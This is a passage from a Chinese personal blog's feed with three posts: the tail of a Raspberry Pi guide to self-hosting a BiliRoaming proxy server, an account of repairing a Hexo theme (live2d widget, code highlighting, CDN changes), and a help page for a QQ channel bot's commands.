id="fnref2">[2]</a></sup>仅供参考</p><pre><code>{"log": {"loglevel": "warning"},"inbounds": [{"listen": "127.0.0.1","port": 7465,"protocol": "socks","setting": {"auth": "noauth","udp": true},"tag": "gotw"},{"listen": "127.0.0.1","port": 7466,"protocol": "socks","setting": {"auth": "noauth","udp": true},"tag": "gohk"},{"listen": "127.0.0.1","port": 7467,"protocol": "socks","setting": {"auth": "noauth","udp": true},"tag": "goth"}],"outbounds": [{ //Paste your TW config here "protocol": "trojan", "settings": { "servers": [ { "address": "", "port": , "password": "" } ] }, "streamSettings": { "network": "tcp", "security": "tls" },"tag": "taiwan"},{ //Paste your HK config here"protocol": "trojan","settings": {"servers": [{"address": "","port": ,"password": ""}]},"streamSettings": {"network": "tcp","security": "tls"},"tag": "hongkong"},{ //Paste your TH config here"protocol": "trojan","settings": {"servers": [{"address": "","port": ,"password": ""}]},"streamSettings": {"network": "tcp","security": "tls"},"tag": "thailand"}],"routing": {"domainStrategy": "AsIs","rules": [{"type": "field","inboundTag": ["gotw"],"outboundTag": "taiwan"},{"type": "field","inboundTag": ["gohk"],"outboundTag": "hongkong"},{"type": "field","inboundTag": ["goth"],"outboundTag": "thailand"}]}}</code></pre><h4 id="内网穿透">内网穿透</h4><p>使用ddns也可以,只要你有方法使你的网站能在外网被访问就可以<br />这里使用的是<a href="https://www.natfrp.com/">Sakura frp</a><br />你也可以使用其他内网穿透服务,详情请自行搜索<br />注册账号等不再赘述<br />新建隧道,选择可建站的节点<br />注意:海外节点可能被墙无法访问,国内节点需要域名备案,请理清需求条件后再使用,否则请使用其他内网穿透服务<br />除了节点选择以外按照下图进行设置(建议在网络低峰期新建,因为高峰期节点满载就禁止新建了):<br /><img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E9%9A%A7%E9%81%93%E9%85%8D%E7%BD%AE%E5%9B%BE.png" alt="隧道配置图" data-caption="隧道配置图" loading="lazy"><br />在<a href="https://www.natfrp.com/tunnel/download">此处</a>下载客户端并上传至服务器<br />选择Linux-arm64<br />在用户信息处复制访问密钥登陆,然后选中隧道继续就可以了<br />之后可以用文末的方式进程保留在后台<br />(ps:目前比较好用的免费穿透服务我知道的就这一家,如果有推荐的更好的免费穿透服务的话建议在下面发出来,我很需要)</p><h4 id="宝塔面板安装">宝塔面板安装</h4><p>非必要步骤,如果你了解Nginx配置和免费证书申请等网站搭建基本步骤请优先使用你的方法(因为宝塔安装Nginx太慢了,<s>我用它纯纯是因为我是懒狗</s>)<br />如果你对宝塔有意见的话可以试试<a href="https://github.com/midoks/mdserver-web">mdserver-web</a>,或者手动搭建Nginx服务和手动申请证书<br />因为写这篇文章的时候我已经用上宝塔了,所以文中就用宝塔进行演示了<br /><a href="https://www.bt.cn/new/download.html#:~:text=%E5%A4%8D%E5%88%B6-,%E4%B8%87%E8%83%BD%E5%AE%89%E8%A3%85%E8%84%9A%E6%9C%AC,-if%20%5B%20%2Df%20/usr">此处</a>复制粘贴指令即可<br />安装完后通过浏览器访问面板,提示lnmp安装的话只需要安装Nginx就可以了,由于是编译安装,所以时间可能比较久,你可以先干其他事<br />安装完成后新建站点,域名填你使用的域名,申请证书的部分网上也有步骤,<s>我是懒狗</s>懒得再复述一遍了</p><h2 id="第三步">第三步</h2><h3 id="哔哩漫游goserver安装">哔哩漫游goserver安装</h3><p><code>mkdir biliroaming && cd biliroaming</code>新建和进入目录后克隆库</p><pre><code>git clone https://github.com/JasonKhew96/biliroaming-go-server</code></pre><p>如果下载缓慢或遇到其他网络问题,建议使用ghproxy的加速服务</p><pre><code>git clone https://ghproxy.com/https://github.com/JasonKhew96/biliroaming-go-server</code></pre><h3 id="配置文件的编写">配置文件的编写<sup class="footnote-ref"><a href="#fn3" id="fnref3">[3]</a></sup></h3><p>参考<a href="https://github.com/JasonKhew96/biliroaming-go-server/blob/main/config.example.yml">此处</a><br />第4行因为要用反代,所以填个合适的端口就行<br />第68-73行根据某ray软件来编写,如果列表里有,注释掉你的树莓派所在地,及你没有的地区魔法<br />最后到第103行,host后改为127.0.0.1,password改为设定的密码的同时取消注释,并把passwordFile注释掉,dbName改为bili,至此改完并保存。</p><h3 id="运行">运行!</h3><p>对于国内服务器,先执行</p><pre><code>`export GOPROXY=https://goproxy.io,direct`</code></pre><p>接着执行</p><pre><code>go run .</code></pre><p>若无报错则说明正常(Ctrl-C退出),若有报错请自行检查是否有遗漏。<br />运行后进入宝塔面板,进入网站新建反向代理,目标url填<code>http://127.0.0.1:<端口号></code></p><h4 id="后台运行">后台运行</h4><p>没什么问题后就进入后台运行<br />使用screen,没有screen就装一个<br />使用</p><pre><code>screen -S <终端名></code></pre><p>选择合适的终端名有利于出现问题时方便排查<br />进入后再次运行各个项目,然后Ctrl-A-D退出<br />恢复则使用</p><pre><code>screen -r <终端名></code></pre><h4 id="补充">补充</h4><p>如果你想要同时搭建网页请在<code>biliroaming/html/</code>目录下放置你的网页文件<br />不知是否支持动态网页,请自行实验</p><h2 id="总结">总结</h2><p>你可以看看<a href="https://bili.24kblog.top">我建的</a><br />以上,如果有疑问的话欢迎留言</p><hr class="footnotes-sep" /><section class="footnotes"><ol class="footnotes-list"><li id="fn1" class="footnote-item"><p>引用自 <a href="https://www.eaglemoe.com/archives/315">Yukie-记录一下哔哩漫游GO版搭建流程</a><br /><s>因为我懒得再写一遍,就直接复制粘贴了</s><br />有稍作修改 <a href="#fnref1" class="footnote-backref">↩︎</a></p></li><li id="fn2" class="footnote-item"><p>参考同上博客,有稍作修改 <a href="#fnref2" class="footnote-backref">↩︎</a></p></li><li id="fn3" class="footnote-item"><p>部分参考同上 <a href="#fnref3" class="footnote-backref">↩︎</a></p></li></ol></section>]]></content>
<summary type="html">本文详细指导如何利用树莓派搭建哔哩漫游服务器,涵盖从准备工作到环境搭建的全过程。内容包括域名选择、树莓派系统安装、Go编译器和PostgreSQL的配置,适合具备基础Linux知识和网络工具的用户。通过清晰的步骤和实用指令,帮助读者快速部署自己的服务器,享受稳定高效的漫游体验。</summary>
<category term="哔哩哔哩" scheme="https://24kblog.top/tags/%E5%93%94%E5%93%A9%E5%93%94%E5%93%A9/"/>
<category term="哔哩漫游" scheme="https://24kblog.top/tags/%E5%93%94%E5%93%A9%E6%BC%AB%E6%B8%B8/"/>
<category term="服务器" scheme="https://24kblog.top/tags/%E6%9C%8D%E5%8A%A1%E5%99%A8/"/>
<category term="技术" scheme="https://24kblog.top/tags/%E6%8A%80%E6%9C%AF/"/>
</entry>
<entry>
<title>打扫博客</title>
<link href="https://24kblog.top/posts/3234727849/"/>
<id>https://24kblog.top/posts/3234727849/</id>
<published>2022-08-28T09:04:08.000Z</published>
<updated>2026-03-04T04:27:18.798Z</updated>
<content type="html"><![CDATA[<h1>打扫博客</h1><blockquote><p>打扫久未使用的房间非常累,整理久未使用的博客也一样</p></blockquote><p>因为要把自己写的机器人的文档放上来,而且之前博客有一些东西/功能我想加,所以就决定重新打理打理这个博客<br />说着简单,其实打理了一整天,真的要命</p><h2 id="1-万事开头难">1.万事开头难</h2><p>说是万事开头难,其实后面也没有简单多少,主要是我的技术栈不在nodejs这类似的语言上面,所以真的有点要命</p><h3 id="npm包处理">npm包处理</h3><p>我刚建立这个博客的时候,用的这个主题还没有本地搜索的功能,当时就想着用各种方法来弄搜索功能,然而我当时对js啥的一窍不通 <s>(现在也一样)</s> ,所以就把搜索功能给搞残废了,到最后连修都修不回去,就直接放弃了</p><p>来打理的时候第一时间就想到这个,然后看到作者还在维护(作者人间之鉴),而且加了搜索和其他许多功能,一下子开心的不得了,以为之后会轻松许多 <s>(然而等待我的其实是地狱)</s> ,便开始按照<a href="https://docs.nexmoe.com/v3.2/">文档</a>安装:</p><pre><code>npm i hexo-theme-nexmoe@3.2.13</code></pre><p>安装完之后打开配置文件(_config.nexmoe.yml)一看,新特性呢?飞了?我直接whats up</p><p>于是我开始尝试包括但不限于以下方式,都没成功:</p><ul><li>删掉主题重装</li><li>通过msi更新了nodejs</li><li>卸载重装了nodejs</li><li><s>重启电脑</s></li><li>…</li></ul><p>就这样纠缠了接近两个小时,问题仍然没有解决,但浏览器标签页已经开了接近30页 <s>(内存:你清高)</s><br />我删掉了主题,删掉了同学的标签页,终于!<s>(李纪哲&同学:你有事?)</s><br />在必应和谷歌之间反复横跳有了结果<br /><a href="https://www.cnblogs.com/shy1766IT/p/11112065.html#:~:text=%E6%88%91%E4%BB%AC%E9%9C%80%E8%A6%81%E5%85%88%E6%9B%B4%E6%96%B0%20package.json%E6%96%87%E4%BB%B6%EF%BC%9A%20%E5%AE%89%E8%A3%85%22npm-check-updates%22%E6%A8%A1%E5%9D%97%20npm%20install%20-g%20npm-check-%20updates,-check-%20updates%20%E4%BB%A5%E4%B8%8A%E4%B8%A4%E6%9D%A1%E5%91%BD%E4%BB%A4%E9%83%BD%E5%8F%AF%E6%A3%80%E6%9F%A5%E5%8F%AF%E6%9B%B4%E6%96%B0%E6%A8%A1%E5%9D%97%E3%80%82%20%E6%8E%A5%E4%B8%8B%E6%9D%A5%E6%9B%B4%E6%96%B0package.json%E7%9A%84%E4%BE%9D%E8%B5%96%E5%8C%85%E5%88%B0%E6%9C%80%E6%96%B0%E7%89%88%E6%9C%AC%EF%BC%9A%20ncu%20-%20u%20%E4%BB%A5%E4%B8%8A%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%EF%BC%8C%E6%9B%B4%E6%96%B0%E5%85%A8%E9%83%A8%E6%A8%A1%E5%9D%97%E3%80%82">这篇文章</a>教会了我怎么升级,分析之后我才明白我之前是多么傻</p><p>npm包在某一区域内是根据<code>package.json</code>这个文件来安装本区域包的<br />意思就是我之前对这这个npm包管理器虚空打靶<br />npm一滴血没掉,我:好厚的血</p><p>我通过下面的指令成功更新了主题,顺便连hexo也一起更新了</p><pre><code>npm install -g npm-check-updatesncu // 查看可更新包ncu -u // 更新package.jsonnpm install // 升级到最新版本</code></pre><p>上面的指令是ncu这个插件自动检测<code>package.json</code>这个文件里的包信息,并查找更新,然后更改这个文件,最后重新安装一遍就好了</p><p>不过主题的最新版本是4.0.0,配置文件的内容有许多不同,不过我通过修改<code>package.json</code>里的版本信息,重新安装就安装到了目标版本</p><h2 id="2-我超-二次元">2.我超!二次元</h2><p>我超!二次元!怎么会有人为了二次元捣鼓半天代码啊,妈妈让我不要跟傻卵二次元玩,啊,原来我就是啊,那没事了</p><p>其实是为了添加看板娘插件而一波三折,又研究挺久,还被迫捡回了一点<s>我快忘光光了只学了一点点的</s>js/html</p><h3 id="live2d看板娘插件">live2d看板娘插件</h3><p>在我原来的博客中,里面有我插入的live2d看板娘插件,不过由于上一节的一些操作 <s>(删掉主题重装的逆天操作)</s> ,这些插件已经不复存在,需要重新配置<br />然后我先上GitHub <s>(全球最大同性交友网站)</s> 搜了一下,最先看到的相关的插件是hexo的<code>hexo-helper-live2d</code><br />然后就按照<a href="https://github.com/EYHN/hexo-helper-live2d/blob/master/README.zh-CN.md">文档</a>开始造<br />然后一个<code>hexo g</code>一个<code>hexo s</code>就开始部署,在本地就部署好了<br />打开一看,生效是生效了,但这样还不够!<s>(渊薮_Crowd:你有事吗?)</s><br />功能确实太严重了,换模型,换衣,拍照等等功能都缺失了,真的就看板娘了,而且配置文件还不生效,无奈之下只能寻找其它办法</p><p>又在GitHub找了半天,中间还去必应找了几下,回到了起点<br />文档的底下写了相关项目<code>live2d-widget.js</code>,点进去存档了,不过有另一个链接<br />指向了现在仍在维护的<a href="https://github.com/stevenjoezhang/live2d-widget">live2d-widget</a>(作者人间之鉴)</p><p>但是问题又随之而来,怎么添加<br />文档说的很简单:</p><blockquote><p>将这一行代码加入 <code><head></code> 或 <code><body></code>,即可展现出效果:<br /><code><script src="https://fastly.jsdelivr.net/gh/stevenjoezhang/live2d-widget@latest/autoload.js"></script></code></p></blockquote><p>对js/html一窍不通的我:?<br />然后就开始搜索是什么意思,一开始还不太敢改,也不知道改哪里,怕跟上次一样改坏了<br />我披星戴月,我奋不顾身,终于!(你这荔枝太假了)<br />在<code>node_modules</code>文件夹中的文件夹海中找到了主题的文件夹,并且通过对比hexo生成的页面的html源码找到了主题的生成模板,依靠那渣都不剩的js/html知识成功添加了看板娘,并且功能齐全<br /><s>嘿嘿,看板娘,小小的,香香的</s></p><p>修改后的代码如下:</p><pre><code><head> <link rel="stylesheet" href="https://fastly.jsdelivr.net/npm/@fortawesome/fontawesome-free@6/css/all.min.css"> <script src="https://fastly.jsdelivr.net/gh/stevenjoezhang/live2d-widget@latest/autoload.js"></script> ...</head></code></pre><p>看板娘可爱捏</p><h2 id="3-代码高亮-没有你我怎么活啊">3.代码高亮,没有你我怎么活啊</h2><p>如果有人能用Windows自带的记事本写下几百行代码,那我可能会叫他爹<br />黑底白字对于写代码来说有点难受,但对于看代码来说,也一样难受</p><h3 id="代码高亮">代码高亮</h3><p>处理完上面的事情之后,我发现了一个严重的问题<br />代码高亮没了,不仅没了,因为字体颜色和背景一样,就跟黑幕一样</p><p>继续翻<a href="https://docs.nexmoe.com/v3.2/">文档</a>,在常见问题里发现了这一条:</p><blockquote><p>代码高亮<br />自2.9.0版本后,需要在 _config.yml 文件中进行如下配置使用高亮</p><pre><code>highlight: enable: true hljs: true auto_detect: true</code></pre><p>更多内容:<a href="https://hexo.io/zh-cn/docs/syntax-highlight#Highlight-js">代码高亮 | Hexo</a></p></blockquote><p>修改了配置文件,然而并没有什么卵用,只是变成了黑底白字,而且能看得更清楚了<br />多了一些没对齐的行号</p><p>地狱又来了,为了解决搜了各种办法,什么装第三方插件啦,换另一个官方支持的代码高亮啦<br />都没用</p><p>写入绝望中看到了希望,这篇文章的作者对于官方的<code>highlight.js</code>使用很失望,所以决定自己嵌入使用这个js脚本~~(我:作者你一定要幸福啊)~~<br /><s>搜索n小时,highlight.js治好了我的精神内耗</s><br />不过由于与上一节一样的原因,并且加上搜索了半天脑子已经有点不清醒了,我还是找了十几分钟在哪修改<br /><s>?怎么跟看板娘的地方一样啊</s></p><p>修改后的代码如下:</p><pre><code><head> <link rel="stylesheet" href="https://fastly.jsdelivr.net/npm/@fortawesome/fontawesome-free@6/css/all.min.css"> <link rel="stylesheet" href="https://unpkg.com/@highlightjs/cdn-assets@11.6.0/styles/vs2015.min.css"> <script src="https://fastly.jsdelivr.net/gh/stevenjoezhang/live2d-widget@latest/autoload.js"></script> <script src="https://unpkg.com/@highlightjs/cdn-assets@11.6.0/highlight.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/highlightjs-line-numbers.js/dist/highlightjs-line-numbers.min.js"></script> <script> hljs.initHighlightingOnLoad(); hljs.initLineNumbersOnLoad(); </script> ... </head></code></pre><p>顺便加了<a href="https://github.com/wcoder/highlightjs-line-numbers.js">行号显示</a>(<a href="https://blog.lucien.ink/archives/491/">参考博客</a>),这个问题也是我后面才发现的,跟高亮一样的路线,不过搜索没花那么长时间就是了 <s>(主要是我懒得再写一遍了)</s><br />行号显示也有问题,有一些代码快和行号黏在一起了 <s>(贴贴好耶)</s> 不过我在修改<code>article.styl</code>之后就好多了:</p><pre><code>/* for block of numbers */.hljs-ln-numbers { -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; text-align: center; color: #ccc; border-right: 10px solid #8000000F; vertical-align: top; padding-right: 20px; /* your custom style here */}/* for block of code */.hljs-ln-code { padding-left: 20px;}</code></pre><p>上面的代码是通过在代码和行号之间加了一条10px的透明线来实现分离的 <s>(竟然拆散他们,24k你坏事做尽😡)</s></p><p>下面是效果图,感觉非常滴不戳:<br /><img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BB%A3%E7%A0%81%E6%95%88%E6%9E%9C%E5%9B%BE.png" alt="代码效果图" data-caption="代码效果图" loading="lazy"></p><p>还有一些小插曲,但是我懒得写了,简单描述下吧:<br />使用完代码高亮后似乎和后面的背景颜色不同,然后通过修改styl文件解决了</p><h2 id="4-can-can-need">4.can can need</h2><p>我的图片很大,你要忍一下↗~~</p><h3 id="图片大小">图片大小</h3><p>在编写帮助文档的时候,发现一个问题<br />图片太大在网站中似乎并不美观,于是我先用网上搜的办法尝试 <s>(没错又是搜索地狱)</s><br />先是这篇<a href="https://www.zhihu.com/question/23378396/answer/234858357">知乎回答</a>,在markdown代码块后面追加css代码<br />我的编辑器是显示有更改了,但生成代码后令人眼前一黑<br />页面竟然把css源码原封不动的显示了出来</p><p>于是我开始寻求另一种解决方式,找到了一个<a href="https://github.com/bobcn/hexo_resize_image.js">脚本</a><br />按照里面的方式部署完代码如下:</p><pre><code><body>... <script src="https://gcore.jsdelivr.net/gh/bobcn/hexo_resize_image.js@latest/hexo_resize_image.js"></script></body></code></pre><p>然后再按照他的写法,引用图片这样引用:<code>图片链接?缩放百分比</code><br />生成!<br />终于成功了,脚本作者,你做得好,你做的好啊</p><h2 id="5-世界很大-我想要看看">5.世界很大,我想要看看</h2><p>由于一些众所周知的原因,一些网站无法访问,或者访问困难<br />而去年年底jsdelivr的备案被注销后,jsdelivr的资源获取便成了困难,他的链接也被DNS污染了<br />而我写的文档面向的受众有很多都是没有科学上网知识的同学,所以打破这道阻碍也是很重要的事</p><h3 id="更换CDN">更换CDN</h3><p>这件事情很简单,换CDN嘛<br />不过GitHub库的CDN还真没几个,无奈之下,试了下<code>fastly.jsdelivr.net</code><br />不太行,随后又试了几个二级域名,最后发现<code>gcore.jsdelivr.net</code>可以使用,vscode全局替换就ok了</p><h2 id="尾声">尾声</h2><p>这篇文章写了两天,在写这篇文章的时候还遇到了一些小瑕疵,左下的版权信息不是在指定位置换行,看的很难受,不过在经历历练之后,好好的修改了主题文件,就好了<br />这篇文章也算是我重拾这个博客之后第一篇正经文章,要开学了,不知道这篇博客还有没有机会更新<br />不过题材还是有的,是两个审核的故事,如果我有时间的话可能会继续写<br />两个审核:工信部和腾讯机器人运营部</p><p><s>另:石蒜好看,千1是神</s></p>]]></content>
<summary type="html">本文分享了博主重新打理久未使用的Hexo博客的详细过程,从安装新版主题、解决npm包依赖问题到最终成功启用本地搜索功能。文章记录了技术栈不匹配带来的挑战、解决问题的曲折经历以及实用技巧,适合Hexo用户和博客维护者参考。</summary>
<category term="博客" scheme="https://24kblog.top/tags/%E5%8D%9A%E5%AE%A2/"/>
<category term="npm" scheme="https://24kblog.top/tags/npm/"/>
<category term="hexo" scheme="https://24kblog.top/tags/hexo/"/>
<category term="js" scheme="https://24kblog.top/tags/js/"/>
</entry>
<entry>
<title>机器人帮助文档</title>
<link href="https://24kblog.top/posts/2372181853/"/>
<id>https://24kblog.top/posts/2372181853/</id>
<published>2022-08-28T04:05:04.000Z</published>
<updated>2026-03-04T04:27:50.228Z</updated>
<content type="html"><![CDATA[<h1>欢迎来到海中bot帮助文档</h1><blockquote><p>观感提示:若部分图片未加载请多刷新几次<br />部分设备显示比例可能有问题,点击图片可查看正常比例<br />若仍存在问题,请联系我,或使用其他设备访问(建议使用电脑端访问)</p></blockquote><p>在这里,你可以获得各个指令的用法<br />至于为什么是在我的博客,原因还是我懒得再建一个文档网站 <s>(虽然不要钱就是了)</s></p><h2 id="签到">签到</h2><p>用法:<code>@海中bot /签到</code><br />描述:签到,获得随机数量的一堂二堂三堂饭券<br />效果图片:<br /><img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/1.jpg?40" alt="签到" data-caption="签到" loading="lazy"><br />注:后续可能会增加抽卡功能,所以建议每天都来签签到<br />\ 顺便征集一二三堂菜名或其他内容作为抽卡项目</p><h2 id="查询">查询</h2><p>用法:<code>@海中bot /查询</code><br />描述:查询你所持有的一二三堂饭券<br />效果图片:<br /><img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/2.jpg?40" alt="查询" data-caption="查询" loading="lazy"><br />注:后续若添加了抽卡功能,还可查询所抽到的内容</p><h2 id="天气">天气</h2><p>用法:<code>@海中bot /天气 [城市名]</code>(请注意指令后的空格,不可删除,否则会报错)<br />使用效果:获取天气<br />参数:<br />城市名:选填,留空默认查询海口天气<br />效果图片:<br /><img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/3.jpg?40" alt="天气" data-caption="天气" loading="lazy"> <img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/3_1.jpg?40" alt="天气_城市" data-caption="天气_城市" loading="lazy"></p><h2 id="每日一图">每日一图</h2><p>用法:<code>@海中bot /每日一图 [图片类型]</code>(请注意指令后的空格,不可删除,否则会报错)<br />使用效果:获取随机图片<br />参数:<br />图片类型:选填,可选二次元,留空默认获取美景图片<br />效果图片:<br /><img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/4.jpg?40" alt="每日一图" data-caption="每日一图" loading="lazy"> <img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/4_2.jpg?40" alt="每日一图_二次元" data-caption="每日一图_二次元" loading="lazy"></p><p>注:有时候带二次元参数返回会比较慢,请耐心等待,或再试一遍,如下图:<br /><img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/4_1.jpg?40" alt="每日一图_二次元_加载慢" data-caption="每日一图_二次元_加载慢" loading="lazy"></p><h2 id="土味骚话">土味骚话</h2><p>用法:<code>@海中bot /土味骚话</code><br />使用效果:获得随机土味情话或骚话<br />效果图片:<br /><img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/5.jpg?40" alt="土味骚话" data-caption="土味骚话" loading="lazy"> <img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/5_1.jpg?40" alt="土味骚话" data-caption="土味骚话" loading="lazy"></p><h2 id="查词">查词</h2><p>用法:<code>@海中bot /查词 [待查询词]</code><br />使用效果:获取单词释义或语言<br />参数:<br />待查单词:必填,当语言为英语时,返回单词释义及有道词典链接,当语言为其他时,返回语言代码及有道词典链接<br />效果图片:<br /><img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/6.jpg?40" alt="查词_英语" data-caption="查词_英语" loading="lazy"> <img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/6_1.jpg?40" alt="查词_日语" data-caption="查词_日语" loading="lazy"></p><h2 id="视频解析">视频解析</h2><p>用法:<code>@海中bot /视频解析 [AV/BV号]</code><br />使用效果:获取哔哩哔哩视频封面、下载链接<br />参数:<br />AV/BV号:必填,哔哩哔哩视频AV/BV号<br />效果图片:<br /><img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/7.jpg?40" alt="视频解析" data-caption="视频解析" loading="lazy"></p><h2 id="视频封面">视频封面</h2><p>用法:<code>@海中bot /视频封面 [AV/BV号]</code><br />使用效果:获取哔哩哔哩视频封面<br />参数:<br />AV/BV号:必填,哔哩哔哩视频AV/BV号<br />效果图片:<br /><img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/8.jpg?40" alt="视频封面" data-caption="视频封面" loading="lazy"></p><h2 id="音乐下载">音乐下载</h2><p>用法:<code>@海中bot /音乐下载 [网易云音乐id]</code><br />使用效果:获取网易云音乐音频下载链接(注意:黑胶歌曲下载只有前30秒,无版权歌曲或其他歌曲自行测试)<br />参数:<br />网易云音乐id:必填,网易云音乐id,可在音乐分享链接里获取<br /><img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/9.jpg?40" alt="音乐下载" data-caption="音乐下载" loading="lazy"></p><h1>管理员选项</h1><p>以下条目仅管理员可用,请注意自身权限</p><h2 id="禁言">禁言</h2><p>用法:<code>@海中bot /禁言 @禁言对象 [时间]</code><br />使用效果:快速禁言某个成员,范围为整个频道<br />参数:<br />时间:选填,单位为秒,留空默认7200(两小时)(注意:此处填纯数字即可,不要带单位,否则会报错)<br />效果图片:<br /><img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/10.jpg?40" alt="禁言" data-caption="禁言" loading="lazy"> <img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/10_1.jpg?40" alt="禁言_时间" data-caption="禁言_时间" loading="lazy"></p><h2 id="解禁">解禁</h2><p>用法:<code>@海中bot /解禁 @解禁对象</code><br />使用效果:快速解禁某个成员,范围为整个频道<br />效果图片:<br /><img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/11.jpg?40" alt="解禁" data-caption="解禁" loading="lazy"></p><h2 id="全员禁言">全员禁言</h2><p>用法:<code>@海中bot /全员禁言</code><br />使用效果:快速全员禁言(注意:由于范围为整个频道而非子频道,所以非特殊情况请不要使用)<br />效果图片:<br /><img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/12.jpg?40" alt="全员禁言" data-caption="全员禁言" loading="lazy"></p><h2 id="全员解禁">全员解禁</h2><p>用法:<code>@海中bot /全员解禁</code><br />使用效果:快速全员解禁<br />效果图片:<br /><img data-fancybox="gallery" src="https://gcore.jsdelivr.net/gh/24kcsplus/home_files@latest/%E4%BA%8B%E4%BE%8B%E7%85%A7%E7%89%87/13.jpg?40" alt="全员解禁" data-caption="全员解禁" loading="lazy"></p><h1>写在最后</h1><p>目前就写了这些功能,如果你有什么想添加的功能,可以在底下留言,或者通过QQ向我反馈<br />感谢:@Developing. @怎么能有这么难学的东西 协助测试</p><p><s>突发奇想就写了这个机器人,也不知道会有多少人用(悲)</s></p>]]></content>
<summary type="html">海中bot帮助文档提供详细的指令使用指南,包括签到获取饭券、查询持有饭券、查询天气和获取每日一图等功能。通过简洁的指令操作,用户可以轻松管理饭券、获取天气信息和欣赏随机图片。文档还提示了可能的抽卡功能更新,建议每日签到以获取更多内容。</summary>
<category term="QQ频道" scheme="https://24kblog.top/tags/QQ%E9%A2%91%E9%81%93/"/>
<category term="QQ机器人" scheme="https://24kblog.top/tags/QQ%E6%9C%BA%E5%99%A8%E4%BA%BA/"/>
</entry>
</feed>